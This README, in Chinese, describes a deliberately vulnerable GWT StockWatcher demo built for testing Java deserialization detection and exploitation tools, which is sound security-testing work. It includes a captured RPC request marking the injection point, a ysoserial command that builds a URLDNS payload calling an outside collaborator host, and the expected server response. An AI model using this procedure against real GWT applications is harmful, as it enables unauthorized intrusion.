这是 GWT 入门指南中描述的 StockWatcher 示例应用 的一个版本,已被修改为使用 GWT 的“增强类”功能,从而使其容易受到 Java 反序列化攻击。它只应用于测试检测和利用工具。增强类在现实世界的基于 GWT 的应用中很常见,但在该示例发布之前,还没有易于找到的开源 Web 应用可供安全专业人员用来验证其工具和流程。
关于利用基于 GWT 的应用程序的讨论,请参见 Bishop Fox 博客文章《GWT:一个存在八年未修复的 Java 反序列化漏洞》。
要运行该 Web 应用程序,你需要一台 Linux 系统,并具备以下工具:
openjdk-11-jre 软件包ant(使用你的发行版的软件包管理器安装)该应用程序需要多个 JAR 文件,这些文件太大,无法直接包含在 GitHub 源代码管理中,因此最简单的入门方式是下载 发布页面 上的最新软件包并解压。
解压发布包后,编辑 build.xml 中的这一行,将 /home/user/GWT/gwt-2.10.0 替换为你的 GWT SDK 目录:
在源代码目录中,运行以下命令:
ant build
ant devmode
这将启动存在漏洞的 Web 应用程序,并使其可通过 http://127.0.0.1:8888/StockWatcher.html 访问。
请注意,如果你正在将流量转发到本地服务以使其可远程访问,那么除了 8888 端口外,还应转发 9876 端口。
如果你想克隆此仓库并在不下载发布包的情况下运行该应用程序,则需要在克隆后将以下第三方 JAR 文件下载并添加到 lib 目录中:
你还需要将以下 GWT JAR 文件从你的 GWT 目录(例如 gwt-2.10.0/)复制到该存在漏洞的应用程序的 lib 目录中:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jar复制所有上述 JAR 文件后,执行上面快速开始部分中的其他步骤。
使用配置为通过拦截代理(例如 Burp Suite)连接的 Web 浏览器,加载 URL http://127.0.0.1:8888/StockWatcher.html。
该页面最初会显示一条“正在编译”的消息。请等待它显示以下基本表单:
在该字段中输入一个短字符串,例如 BFOX,然后点击 Add 按钮。页面应开始显示该模拟股票代码的随机更新:
在你的拦截代理历史记录中,注意你的浏览器现在会反复向 http://127.0.0.1:8888/stockwatcher/checkCustomClass1 发送 POST 请求,类似如下:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
Base64 编码的二进制数据 rO0ABXcEAAAAAA== 是请求中的一个易受攻击的注入点。要利用该 Web 应用程序,你需要生成一个替换 payload。例如,要使用 Bishop Fox 定制的 ysoserial 版本 生成一个 URLDNS payload,可以执行以下命令:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
发送一个修改后的请求,将 rO0ABXcEAAAAAA== 替换为你生成的 payload,存在漏洞的应用程序应会反序列化并触发它。除了 payload 引起的任何操作外,如果该值被反序列化,响应还应包含一个与字段名相关的 NoSuchFieldException,例如使用上面示例中的 bishopfox 名称:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
如果你使用了预构建的存在漏洞的 Web 应用程序,或手动将上述所有 JAR 文件添加到自定义构建中,那么你(至少)应该能够对该 Web 应用使用以下 payload:
在撰写本文时,ysoserial 的主线版本不支持 GWT 格式的输出,因此请务必使用自定义分支。